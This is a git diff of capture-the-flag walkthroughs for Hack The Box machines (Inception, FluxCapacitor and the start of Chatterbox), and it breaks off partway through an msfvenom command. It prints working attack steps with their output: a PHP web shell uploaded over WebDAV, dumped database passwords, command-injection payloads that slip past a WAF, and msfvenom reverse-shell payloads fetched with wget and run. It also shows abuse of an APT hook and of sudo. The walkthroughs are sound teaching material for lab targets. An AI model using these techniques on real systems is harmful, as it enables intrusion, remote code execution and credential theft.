Authentication required for webdav test credential on server `10.10.10.67': + Username: webdav_tester + Password: + dav:/webdav_test_inception/> put phpbash.php + Uploading phpbash.php to `/webdav_test_inception/phpbash.php': + Progress: [=============================>] 100.0% of 11251 bytes succeeded. + dav:/webdav_test_inception/> + + +So we browse to our phpbash shell at _http://10.10.10.67/webdav_test_inception/phpbash.php_ + +![](prg/16_002.png) + + + www-data@Inception + :/var/www/html/webdav_test_inception# ls + + phpbash.php + webdav.passwd + www-data@Inception + :/var/www/html/webdav_test_inception# cd .. + + www-data@Inception + :/var/www/html# ls + + LICENSE.txt + README.txt + assets + dompdf + images + index.html + latest.tar.gz + webdav_test_inception + wordpress_4.8.3 + www-data@Inception + :/var/www/html# cd wordpress_4.8.3 + + www-data@Inception + :/var/www/html/wordpress_4.8.3# ls + + phpbash.php + webdav.passwd + + +we are logged in as www-data so let's see if we can print out user.txt : + + + www-data@Inception + :/var/www/html/wordpress_4.8.3# id + + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@Inception + :/var/www/html/wordpress_4.8.3# cd /home + + www-data@Inception + :/home# ls + + cobb + www-data@Inception + :/home# cd cobb + + www-data@Inception + :/home/cobb# ls + + user.txt + www-data@Inception + :/home/cobb# cat user.txt + + cat: user.txt: Permission denied + + +And we get permission denied so we need to find a way to privesc to the cobb user. Looking into /var/www/html/wordpress_4.8.3 we print out the contents of wp-config.php : + + + www-data@Inception:/var/www/html/wordpress_4.8.3# cat wp-config.php + + /** + * The base configuration for WordPress + * + * The wp-config.php creation script uses this file during the + * installation. You don't have to use the web site, you can + * copy this file to "wp-config.php" and fill in the values. + * + * This file contains the following configurations: + * + * * MySQL settings + * * Secret keys + * * Database table prefix + * * ABSPATH + * + * @link https://codex.wordpress.org/Editing_wp-config.php + * + * @package WordPress + */ + + // ** MySQL settings - You can get this info from your web host ** // + /** The name of the database for WordPress */ + define('DB_NAME', 'wordpress'); + + /** MySQL database username */ + define('DB_USER', 'root'); + + /** MySQL database password */ + define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4'); + + /** MySQL hostname */ + define('DB_HOST', 'localhost'); + + + +And we have credentials : root:VwPddNh7xMZyDQoByQL4 although we can't connect to ssh on the box yet. We already know that the squid proxy allows us to pass traffic through it, so we can try to enumerate the box THROUGH the proxy to see if ssh is open. so we'll use the **squid_pivot_scanning** metasploit module. + + + msf5 > use auxiliary/scanner/http/squid_pivot_scanning + + msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128 + RPORT => 3128 + + msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.67 + RHOSTS => 10.10.10.67 + + msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1 + RANGE => 127.0.0.1 + + msf5 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22 + PORTS => 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22 + + msf5 auxiliary(scanner/http/squid_pivot_scanning) > run + + +Looking at the results : + + + [+] [10.10.10.67] 127.0.0.1 is alive but 21 is CLOSED + [+] [10.10.10.67] 127.0.0.1:22 seems OPEN + [+] [10.10.10.67] 127.0.0.1:80 seems OPEN + [+] [10.10.10.67] 127.0.0.1 is alive but 139 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 445 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 1433 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 1521 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 1723 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 3389 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 8080 is CLOSED + [+] [10.10.10.67] 127.0.0.1 is alive but 9100 is CLOSED + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + + +SSH seems to be opened through the proxy, But to get ourselves to access it we need to use corkscrew and edit our local /etc/ssh/ssh_config to add a ProxyCommand. + + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Inception] + → echo 'ProxyCommand corkscrew 10.10.10.67 3128 %h %p' >> /etc/ssh/ssh_config + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Inception] + → ssh cobb@127.0.0.1 + The authenticity of host '127.0.0.1 ()' can't be established. + ECDSA key fingerprint is SHA256:dr5DOURssJH5i8VbjPxvbeM+e2FyMqJ8DGPB/Lcv1Mw. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. + cobb@127.0.0.1's password: + Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + Last login: Thu Nov 30 20:06:16 2017 from 127.0.0.1 + + cobb@Inception:~$ id + uid=1000(cobb) gid=1000(cobb) groups=1000(cobb),27(sudo) + + cobb@Inception:~$ cat user.txt + 4aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to gain root privileges on the box it is very straightforward, but that's not an easy box as you can see : + + + cobb@Inception:~$ sudo -l + [sudo] password for cobb: + Matching Defaults entries for cobb on Inception: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User cobb may run the following commands on Inception: + (ALL : ALL) ALL + + +Running sudo -l we see that we are able to run /bin/bash as sudo to privesc immediately, so let's do it : + + + cobb@Inception:~$ sudo bash + root@Inception:~# id + uid=0(root) gid=0(root) groups=0(root) + root@Inception:~# cat /root/root.txt + You're waiting for a train. A train that will take you far away. Wake up to find root.txt. + + +And we became root ! But our root flag isn't there , so let's check out which ports are opened from within the box : + + + root@Inception:~# netstat -ant + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:22 127.0.0.1:48514 ESTABLISHED + tcp 0 0 127.0.0.1:48514 127.0.0.1:22 ESTABLISHED + tcp6 0 0 :::80 :::* LISTEN + tcp6 0 0 :::22 :::* LISTEN + tcp6 0 0 :::3128 :::* LISTEN + tcp6 0 556 192.168.0.10:3128 192.168.0.1:59898 ESTABLISHED + + root@Inception:~# which nc + /bin/nc + + root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused" + Connection to 192.168.0.1 21 port [tcp/ftp] succeeded! + Connection to 192.168.0.1 22 port [tcp/ssh] succeeded! + Connection to 192.168.0.1 53 port [tcp/domain] succeeded! + + +Looking at the output of the netstat command we see that we have another local ip address to work with : **192.168.0.1** So we use the netcat binary on the machine to scan it's opened ports and we find the ftp port opened , checking it out : + + + root@Inception:~# ftp 192.168.0.1 + Connected to 192.168.0.1. + 220 (vsFTPd 3.0.3) + Name (192.168.0.1:cobb): anonymous + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxr-xr-x 2 0 0 4096 Nov 30 2017 bin + drwxr-xr-x 3 0 0 4096 Nov 30 2017 boot + drwxr-xr-x 19 0 0 3920 Mar 08 06:47 dev + drwxr-xr-x 93 0 0 4096 Nov 30 2017 etc + drwxr-xr-x 2 0 0 4096 Nov 06 2017 home + lrwxrwxrwx 1 0 0 33 Nov 30 2017 initrd.img -> boot/initrd.img-4.4.0-101-generic + lrwxrwxrwx 1 0 0 32 Nov 06 2017 initrd.img.old -> boot/initrd.img-4.4.0-98-generic + drwxr-xr-x 22 0 0 4096 Nov 30 2017 lib + drwxr-xr-x 2 0 0 4096 Oct 30 2017 lib64 + drwx------ 2 0 0 16384 Oct 30 2017 lost+found + drwxr-xr-x 3 0 0 4096 Oct 30 2017 media + drwxr-xr-x 2 0 0 4096 Aug 01 2017 mnt + drwxr-xr-x 2 0 0 4096 Aug 01 2017 opt + dr-xr-xr-x 205 0 0 0 Mar 08 06:47 proc + drwx------ 6 0 0 4096 Nov 08 2017 root + drwxr-xr-x 26 0 0 920 Mar 08 06:47 run + drwxr-xr-x 2 0 0 12288 Nov 30 2017 sbin + drwxr-xr-x 2 0 0 4096 Apr 29 2017 snap + drwxr-xr-x 3 0 0 4096 Nov 06 2017 srv + dr-xr-xr-x 13 0 0 0 Mar 08 06:47 sys + drwxrwxrwt 10 0 0 4096 Mar 08 08:30 tmp + drwxr-xr-x 10 0 0 4096 Oct 30 2017 usr + drwxr-xr-x 13 0 0 4096 Oct 30 2017 var + lrwxrwxrwx 1 0 0 30 Nov 30 2017 vmlinuz -> boot/vmlinuz-4.4.0-101-generic + lrwxrwxrwx 1 0 0 29 Nov 06 2017 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic + + +Once logged in as anonymous , we find the crontab file : + + + ftp> cd /etc + 250 Directory successfully changed. + + ftp> get crontab + local: crontab remote: crontab + 200 PORT command successful. Consider using PASV. + 150 Opening BINARY mode data connection for crontab (826 bytes). + 226 Transfer complete. + 826 bytes received in 0.00 secs (4.3046 MB/s) + + + + +So we copy 192.168.0.1's crontab file into 10.10.10.67, to examine it : + + + ftp> exit + 221 Goodbye. + root@Inception:~# cat crontab + # /etc/crontab: system-wide crontab + # Unlike any other crontab you don't have to run the `crontab' + # command to install the new version when you edit this file + # and files in /etc/cron.d. These files also have username fields, + # that none of the other crontabs do. + + SHELL=/bin/sh + PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin + + # m h dom mon dow user command + 17 * * * * root cd / && run-parts --report /etc/cron.hourly + 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) + 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) + 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) + */5 * * * * root apt update 2>&1 >/var/log/apt/custom.log + 30 23 * * * root apt upgrade -y 2>&1 >/dev/null + + +Looking at what we have here, we see that every 5 minutes apt update is running. What's important here is that we are able to run commands everytime apt-update runs by placing our file inside /etc/apt/apt.conf.d/ + + + root@Inception:~# ssh-keygen + Generating public/private rsa key pair. + Enter file in which to save the key (/root/.ssh/id_rsa): + Created directory '/root/.ssh'. + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in /root/.ssh/id_rsa. + Your public key has been saved in /root/.ssh/id_rsa.pub. + The key fingerprint is: + SHA256:Qm6bKYD4Jeq/STACtAJFV4D/PdwvPV6owjoUtFA5uT8 root@Inception + The key's randomart image is: + +---[RSA 2048]----+ + |.+o.o+oo | + |o o.. = | + |o. . o.+ | + |+. .o+ | + |+oo ..+=S. | + |.oo+ .o=E . . | + |. ....+. o o. . | + |. . ... o ..+. | + | ..+. .o ..o.. | + +----[SHA256]-----+ + + + +So first we generate a ssh key inside 10.10.10.67 to then put it into 192.168.0.1's /root/.ssh/authorized_keys + + + root@Inception:~# ftp 192.168.0.1 + Connected to 192.168.0.1. + 220 (vsFTPd 3.0.3) + Name (192.168.0.1:cobb): anonymous + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> put /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys + local: /root/.ssh/id_rsa.pub remote: /root/.ssh/authorized_keys + 200 PORT command successful. Consider using PASV. + 550 Permission denied. + ftp> exit + 221 Goodbye. + + +Didn't work, that's because we need to use tftp instead of ftp: + + + root@Inception:~# tftp 192.168.0.1 + tftp> put /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys + Sent 397 bytes in 0.0 seconds + tftp> exit + ?Invalid command + tftp> quit + + +Now that's done we need to get 192.168.0.1 to change our ssh public key with the correct permissions, we'll get this done by getting APT to execute our command as we planned earlier : + + + + root@Inception:~# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > 00command + root@Inception:~# tftp 192.168.0.1 + tftp> put 00command /etc/apt/apt.conf.d/00command + Sent 67 bytes in 0.0 seconds + tftp> quit + + + +once that's done we wait 5 minutes and then ssh in as the root user : + + + root@Inception:~# ssh root@192.168.0.1 + Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Thu Nov 30 20:04:21 2017 + root@Inception:~# cat /root/root.txt + 8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/16_graph.png) + diff --git a/Medium/17.md b/Medium/17.md new file mode 100644 index 0000000..b1ddb5d --- /dev/null +++ b/Medium/17.md @@ -0,0 +1,287 @@ +# FluxCapacitor Writeup + +![](img/17.png) + +## Introduction : + +FluxCapacitor is a Medium linux box released back in December 2017 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → nmap -F --top-ports 10000 10.10.10.69 -vvv + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-09 05:59 GMT + Initiating Ping Scan at 05:59 + Scanning 10.10.10.69 [2 ports] + Completed Ping Scan at 05:59, 0.33s elapsed (1 total hosts) + Initiating Parallel DNS resolution of 1 host. at 05:59 + Completed Parallel DNS resolution of 1 host. at 05:59, 0.08s elapsed + DNS resolution of 1 IPs took 0.09s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] + Initiating Connect Scan at 05:59 + Scanning 10.10.10.69 [8320 ports] + Discovered open port 80/tcp on 10.10.10.69 + Increasing send delay for 10.10.10.69 from 0 to 5 due to 70 out of 231 dropped probes since last increase. + Increasing send delay for 10.10.10.69 from 5 to 10 due to max_successful_tryno increase to 4 + Connect Scan Timing: About 25.10% done; ETC: 06:01 (0:01:32 remaining) + Connect Scan Timing: About 55.44% done; ETC: 06:01 (0:00:49 remaining) + Completed Connect Scan at 06:01, 107.71s elapsed (8320 total ports) + Nmap scan report for 10.10.10.69 + Host is up, received syn-ack (0.12s latency). + Scanned at 2020-03-09 05:59:15 GMT for 108s + Not shown: 8318 closed ports + Reason: 8318 conn-refused + PORT STATE SERVICE REASON + 80/tcp open http syn-ack + 5355/tcp filtered llmnr no-response + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p80,5355 10.10.10.69 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-09 06:01 GMT + Nmap scan report for 10.10.10.69 + Host is up (0.26s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http SuperWAF + |_http-server-header: SuperWAF + |_http-title: Keep Alive + 5355/tcp filtered llmnr + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 34.10 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's dirsearch it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → dirsearch -u http://10.10.10.69/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -e txt,php,html,xml + + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, php, html, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-09_06-05-49.log + + Target: http://10.10.10.69/ + + [06:05:50] Starting: + [06:05:51] 200 - 395B - / + [06:07:02] 403 - 577B - /sync + [06:09:49] 403 - 577B - /synctoy + [06:10:26] 403 - 577B - /synching + [06:10:34] 403 - 577B - /sync_scan + [06:11:12] 403 - 577B - /syncbackse + [06:14:01] 403 - 577B - /synch + + + +` ![](prg/17_001.png) + +Looks like a very simple webpage, but when we look at it's sourcecode we are hinted towards a /sync directory. (which our dirsearch command found aswell) + +![](prg/17_002.png) ![](prg/17_003.png) + +looks like we get a 403 forbidden error although we now know about a service running on the box and it's version. Hopefully for us it is vulnerable to RCE by abusing the user-agent and the opt parameter, but we need to escape some characters : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → curl "http://10.10.10.69/sync?opt=' /usr/bin/which mknod'" + 403 + + λ nihilist [ 10.10.14.11/23 ] [~] + → curl "http://10.10.10.69/sync?opt=' /usr/bin/whi[c]h mknod'" + 403 + + λ nihilist [ 10.10.14.11/23 ] [~] + → curl "http://10.10.10.69/sync?opt=' /usr/bin/whi[c]h mk\nod'" + /bin/mknod + bash: -c: option requires an argument + + + +Now that we verified we could get RCE on the machine, let's get into the important parts : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/nginx.conf'" > nginx.conf + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 3896 0 3896 0 0 9938 0 --:--:-- --:--:-- --:--:-- 9938 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/unixcmd.txt'" > unixcmd.txt + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 10822 0 10822 0 0 25167 0 --:--:-- --:--:-- --:--:-- 25109 + + + +Now that we have the nginx config and the unixcmd textfiles we can enumerate the box further looking into nginx.conf : + + + SecRuleEngine On + SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block" + SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block" + SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block" + SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block" + SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block" + + SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block" + content_by_lua_block { + local opt = 'date' + if ngx.var.arg_opt then + opt = ngx.var.arg_opt + end + + -- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1") + + local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1") + local result = handle:read("*a") + handle:close() + ngx.say(result) + + + +those were the filtering rules and the command execution part, which reveals us the username "themiddle". Now to get access on the box we'll get inside by getting a reverse Xterm shell, However we need to make sure that our xserver is listening to tcp : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → cat /etc/X11/xinit/xserverrc + #!/bin/sh + + exec /usr/bin/X -nolisten tcp "$@" + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → sudo nano /etc/X11/xinit/xserverrc + [sudo] password for nihilist: + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → cat /etc/X11/xinit/xserverrc + #!/bin/sh + + exec /usr/bin/X -listen tcp "$@" + + +From there, we connect: + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f elf index.html + [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload + [-] No arch selected, selecting arch: x86 from the payload + No encoder or badchars specified, outputting raw payload + Payload size: 68 bytes + Final size of elf file: 152 bytes + ELFT44 ��1���SCSj��f̀�Y�?̀Iy�h + + + h#)��fPQS���̀Rhn/shh//bi��RS�� + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "http://10.10.10.69/sync?opt=' w\get 10.10.14.11 -P /tmp'" + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → sudo python -m SimpleHTTPServer 80 + Serving HTTP on 0.0.0.0 port 80 ... + + +` _Terminal 1:_ + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "http://10.10.10.69/sync?opt=' c\hmod +x /tmp/index.md'" + + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~] + → sudo nc -lvnp 9001 + listening on [any] 9001 ... + + +` _Terminal 1:_ + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "http://10.10.10.69/sync?opt=' /tmp/index.md'" + + +And we get a reverse shell ! However there is another way to get the user flag, which is by abusing the opt parameter on the sync page using curl : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "10.10.10.69/sync?opt=' c''at /home/FluxCapacitorIn''c/us''er.txt'" + b8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag ! + +## **Part 3 : Getting Root Access** + +Now in order to privesc we run the usual sudo -l + + + $ curl "http://10.10.10.69/sync?opt=' sudo -l'" + + Matching Defaults entries for nobody on fluxcapacitor: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User nobody may run the following commands on fluxcapacitor: + (ALL) ALL + (root) NOPASSWD: /home/themiddle/.monit + + +we are hinted towards /home/themiddle/.monit so we print it out : + + + cat .monit + + #!/bin/bash + + if [ "$1" == "cmd" ]; then + echo "Trying to execute ${2}" + CMD=$(echo -n ${2} | base64 -d) + bash -c "$CMD" + fi + + +And here we see that all we need to do is passing 2 arguements : the first one being "cmd" and the second one being a base64 encoded command. so we can run it, but for this example we'll show how it can be done remotely without even having access on the system by using curl just like for the user flag : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/FluxCapacitor] + → curl "10.10.10.69/sync?opt=' su''do /home/themiddle/.monit cmd $(echo cat /root/root.txt | base64)'" + Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg== + bdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + bash: -c: option requires an argument + + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/17_graph.png) + diff --git a/Medium/18.md b/Medium/18.md new file mode 100644 index 0000000..628017a --- /dev/null +++ b/Medium/18.md @@ -0,0 +1,561 @@ +# Chatterbox Writeup + +![](img/18.png) + +## Introduction : + +Chatterbox is a Medium windows box released back in January 2018 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nmap -F 10.10.10.74 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 08:11 GMT + Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn + Nmap done: 1 IP address (0 hosts up) scanned in 3.08 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nmap -F 10.10.10.74 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 08:12 GMT + Nmap scan report for 10.10.10.74 + Host is up. + All 100 scanned ports on 10.10.10.74 are filtered + + Nmap done: 1 IP address (1 host up) scanned in 21.16 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nmap -F 10.10.10.74 --top-ports=30000 -vvv + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 08:12 GMT + Initiating Ping Scan at 08:12 + Scanning 10.10.10.74 [2 ports] + Completed Ping Scan at 08:13, 3.00s elapsed (1 total hosts) + Nmap scan report for 10.10.10.74 [host down, received no-response] + Read data files from: /usr/bin/../share/nmap + Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn + Nmap done: 1 IP address (0 hosts up) scanned in 3.07 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nmap -F 10.10.10.74 --top-ports 30000 -vvv -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 08:13 GMT + Initiating Parallel DNS resolution of 1 host. at 08:13 + Completed Parallel DNS resolution of 1 host. at 08:13, 0.01s elapsed + DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] + Initiating Connect Scan at 08:13 + Scanning 10.10.10.74 [8320 ports] + Connect Scan Timing: About 1.86% done; ETC: 08:40 (0:27:13 remaining) + Connect Scan Timing: About 6.91% done; ETC: 08:40 (0:25:49 remaining) + Connect Scan Timing: About 11.96% done; ETC: 08:40 (0:24:25 remaining) + Connect Scan Timing: About 17.01% done; ETC: 08:40 (0:23:01 remaining) + Discovered open port 9255/tcp on 10.10.10.74 + Connect Scan Timing: About 39.73% done; ETC: 08:26 (0:07:55 remaining) + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nmap -sCV -p9255 10.10.10.74 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-11 08:18 GMT + Nmap scan report for 10.10.10.74 + Host is up (0.099s latency). + + PORT STATE SERVICE VERSION + 9255/tcp open http AChat chat system httpd + |_http-server-header: AChat + |_http-title: Site doesn't have a title. + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds + + + + +## **Part 2 : Getting User Access** + +Our nmap scans picked up port 9255 running the http service so let's investigate it : + +![](prg/18_001.png) + +going to /achat we seem to get a binary file so let's download it locally and see what it says : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → file achat + achat: empty + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → r2 achat + [0x00000000]> aaa + [x] Analyze all flags starting with sym. and entry0 (aa) + [x] Analyze function calls (aac) + [x] find and analyze function preludes (aap) + [x] Analyze len bytes of instructions for references (aar) + [x] Check for objc references + [x] Check for vtables + [x] Type matching analysis for all functions (aaft) + [x] Propagate noreturn information + [x] Use -AA or aaaa to perform additional experimental analysis. + [0x00000000]> afl + [0x00000000]> vvv + + +Seems like we have an empty application file, but let's see if radare2 shows us anything + +![](prg/18_002.png) + +As expected we didn't get much from that. Let's run a quick searchsploit cmd with the "Achat" arguement: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → searchsploit Achat + ------------------------------------------------------- ------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------- ------------------------------- + Achat 0.150 beta7 - Remote Buffer Overflow | exploits/windows/remote/36025.py + Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit)| exploits/windows/remote/36056.rb + MataChat - 'input.php' Multiple Cross-Site Scripting Vu| exploits/php/webapps/32958.txt + Parachat 5.5 - Directory Traversal | exploits/php/webapps/24647.txt + ------------------------------------------------------- ------------------------------- + Shellcodes: No Result + + +Seems like we have a few interesting scripts to try, so let's pick up the first one : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → locate 36025.py + /usr/share/exploitdb/exploits/windows/remote/36025.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → cp /usr/share/exploitdb/exploits/windows/remote/36025.py . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nano 36025.py + + +` ![](prg/18_003.png) + +once we adapted the python script correctly we grep out the msfvenom command to edit it accordingly : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → grep msfvenom 36025.py + # msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python + + +So we edit it accordingly to generate the payload we need : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp_allports LPORT=4444 LHOST=10.10.14.11 -e x86/unicode_mixed -b 